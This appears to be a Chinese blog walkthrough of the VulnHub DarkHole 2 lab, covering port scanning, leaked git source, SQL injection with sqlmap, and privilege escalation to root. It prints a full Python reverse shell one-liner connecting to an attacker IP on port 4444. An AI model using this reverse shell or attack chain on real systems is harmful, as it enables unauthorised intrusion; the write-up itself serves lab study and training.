下载地址:
https://www.vulnhub.com/entry/darkhole-2,740/
主机和端口发现:
➜ ~ nmap -sn 192.168.143.0/24
Host is up (0.00010s latency).
Nmap scan report for 192.168.143.206
➜ ~ nmap -T4 -v -p- 192.168.143.206
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
访问web服务,有一个登录页面:

尝试注入失败,于是dirb爆破一下目录:

发现了git目录,于是使用git_extract提取目标代码,首先查看login.php。
<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
}
}
?>
获取用户名和密码后登录,发现一处注入点。

直接使用sqlmap进行自动化注入,需要注意的是需要cookie,在ssh表中得到了用户名和密码:
+--------+------+
| user | pass |
+--------+------+
| jehad | fool |
+--------+------+
ssh登录,进入/home/losy,获取到用户flag。
jehad@darkhole:/home/losy$ cat user.txt
DarkHole{'This_is_the_life_man_better_than_a_cruise'}
查看进程,发现一个进程。

查看后是本地写了一个一句话shell,利用它反弹一个用户losy的shell,这里使用python反弹shell。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.135",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
进行url编码后作为cmd输入,成功切换到用户losy。

查看.bash_history,获取losy用户密码gang。

查看sudo,发现可以运行python3,成功获取root。

DarkHole 2 渗透测试实战指南
本文详细介绍了在VulnHub上的DarkHole 2靶场进行渗透测试的过程。从主机和端口发现开始,通过访问Web服务、尝试目录爆破、利用git目录提取代码,然后通过SQL注入获取用户名和密码,接着使用sqlmap自动化工具。成功登录后,发现进程并利用其创建一句话shell,进一步提升权限到root,最终获取到root权限的flag。
383

被折叠的 条评论
为什么被折叠?



